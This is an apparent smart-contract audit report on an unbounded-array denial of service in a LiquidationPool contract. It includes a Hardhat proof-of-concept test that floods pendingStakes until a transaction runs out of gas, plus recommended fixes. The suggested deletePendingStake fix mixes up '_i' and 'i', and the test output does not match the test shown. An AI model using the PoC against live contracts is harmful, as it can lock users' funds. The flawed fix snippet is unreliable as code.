Summary
The pendingStakes array can grow without bound making the loop too expensive to execute, causing the transaction to revert, and locking some functions forever.
Vulnerability Details
Items are added to the pendingStakes array in the increasePosition function, before adding to this array it calls the consolidatePendingStakes function that deletes from pending stakes when certain conditions are met.
function increasePosition(uint256 _tstVal, uint256 _eurosVal) external {
require(_tstVal > 0 || _eurosVal > 0);
@> consolidatePendingStakes();
ILiquidationPoolManager(manager).distributeFees();
if (_tstVal > 0) IERC20(TST).safeTransferFrom(msg.sender, address(this), _tstVal);
if (_eurosVal > 0) IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _eurosVal);
@> pendingStakes.push(PendingStake(msg.sender, block.timestamp, _tstVal, _eurosVal));
addUniqueHolder(msg.sender);
}
The consolidatePendingStakes loops through the pendingStakes array, this operation might fail if the array is very large.
Inside the loop, this function checks if every stake is older than a day, before creating a position for it and deleting it from the array pendingStakes in the deletePendingStake.
function consolidatePendingStakes() private {
@> uint256 deadline = block.timestamp - 1 days;
@> for (int256 i = 0; uint256(i) < pendingStakes.length; i++) {
PendingStake memory _stake = pendingStakes[uint256(i)];
@> if (_stake.createdAt < deadline) {
positions[_stake.holder].holder = _stake.holder;
positions[_stake.holder].TST += _stake.TST;
positions[_stake.holder].EUROs += _stake.EUROs;
@> deletePendingStake(uint256(i));
// pause iterating on loop because there has been a deletion. "next" item has same index
i--;
}
}
}
The root cause of the bug is that the pendingStakes array can get very large within 24 hours thereby causing a denial of service in the functions that are using the whole array.
Impact
The following functions increasePosition, distributeFees, getTstTotal, holderPendingStakes, deletePendingStake, consolidatePendingStakes, decreasePosition, and distributeAssets may become permanently inoperable when this happens
POC
pendingStakes.length has no maximum size
describe("DOS", () => {
it('Should Run out of gas', async () => {
const balance = ethers.utils.parseEther('500000000');
const tstVal = 1;
const eurosVal = 5;
await TST.mint(user1.address, balance);
await EUROs.mint(user1.address, balance);
await LiquidationPool.position(user1.address);
await TST.approve(LiquidationPool.address, balance);
await EUROs.approve(LiquidationPool.address, balance);
for (let i = 0; i < 200; i++){
await LiquidationPool.increasePosition(tstVal, eurosVal);
}
await fastForward(DAY);
* This function call will, call the "consolidatePendingStakes" function
* since all the pendingStakes are older than a day, the "deletePendingStake"
* function would be called, and since this function loops through
* the "pendingStakes" array. The whole operation is going to be run
* n^2 times i.e 200^2 = 40000 times.
* */
await LiquidationPool.increasePosition(tstVal, eurosVal)
})
})
LiquidationPool
DOS
1) allows increasing position by one or both assets
0 passing (1m)
1 failing
1) LiquidationPool
DOS
allows increasing position by one or both assets:
TransactionExecutionError: Transaction ran out of gas
Recommendation
-
Give pendingStakes a maximum length so it doesn't go over that length.
-
The deletePendingStake function can work without looping through the pendingStakes array, this fix saves gas and prevent the call from revertinh.
function deletePendingStake(uint256 _i) private {
pendingStakes[i] = pendingStakes[pendingStakes.length - 1];
pendingStakes.pop();
}
The consolidatePendingStakes function should not be called in the following functions.increasePosition, decreasePosition, and distributeAssets. Rather the consolidatePendingStakes function should be made public and called regularly by and upkeep.